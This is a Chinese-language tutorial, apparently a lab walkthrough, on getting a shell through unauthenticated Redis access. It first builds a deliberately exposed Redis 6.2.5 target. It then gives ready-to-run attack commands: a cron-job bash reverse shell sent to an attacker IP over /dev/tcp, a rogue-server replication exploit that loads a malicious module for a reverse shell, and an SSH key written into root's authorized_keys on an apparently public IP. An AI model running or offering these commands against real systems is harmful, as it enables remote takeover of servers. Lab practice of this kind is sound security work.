redis未授权getshell四种方式
一.靶场搭建
1.1redis高版本会有一些限制(需要特殊的配置,较为麻烦),所以我们这里利用的是较低版本的redis。
命令如下,下载,解压,进入redis-6.2.5,解析
-
wget https://download.redis.io/releases/redis-6.2.5.tar.gz
-
tar xzf redis-6.2.5.tar.gz
-
cd redis-6.2.5
-
make
出现以下信息即为解析成功
1.2搭建 redis 未授权访问漏洞靶场
1.2.1redis 启动命令:
cd src
./redis-server
出现以下错误,说明我们的6379端口被占用,发现docker映射中占用着6379端口,终止,重新启动redis
成功启动,如这个图所示
1.2.2 修改配置文件
我们需要修改相关配置文件,文件位置为“/root/redis-6.2.5/redis.conf”。去掉ip绑定,允许除本地外的主机远程登录redis服务,关闭保护模式,允许远程连接redis服务。
cd /root/redis-6.2.5
修改前,在红框处进行修改。
修改后
1.2.3重启redis服务,并指定相关的conf文件,这样我们修改的东西才会生效。
./redis-server /root/redis-6.2.5/redis.conf
二.靶场攻击
2.1未授权访问
2.1.1
前提条件
低版本或者enable-protected-config yes
知道网站绝对路径,并且需要增删改查权限
获取网站路径方式:1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏
root启动redis
redis弱密码或者无密码
2.2计划任务,命令如下
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击机的ip/端口 0>&1\n\n"
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.182.130/66 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
写入成功,这儿我写错了,应该写攻击机的ip与端口,开启监听之后,等待反弹就行了
到靶机上查看,计划任务写入成功,我们试试编辑root,将里面的ip与端口改成我们的ip试试看,不行。
攻击机开启nc监听,等待反弹shell,其他人的成功效果
2.3主从复制
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
使用相关脚本(项目地址为GitHub - n0b0dyCN/RedisModules-ExecuteCommand: Tools, utilities and scripts to help you write redis modules!)
python3 redis-rogue-server.py --rhost=<target ip> --lhost=<vps ip> --exp=exp.so
接下来vps开启监听,最终成功获取反弹shell
2.4写入公钥
首先,我们需要获取攻击机的公钥(id_rsa.pub),保存为txt文件,并检查相关公钥,显示无异常
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > rsakey.txt
cat rsakey.txt
写入本地公钥至目标靶机
redis-cli -h 49.232.30.123 #连接靶标
config set dir /root/.ssh/ #设置目录
config set dbfilename authorized_keys #设置文件名
config get dir #检查设置的目录
config get dbfilename #检查设置的文件名
set xz "\n\n\n 你的id_rsa.pub \n\n\n" #写入公钥
save #保存
直接进行ssh连接,登陆成功
ssh -i /root/.ssh/id_rsa root@ip地址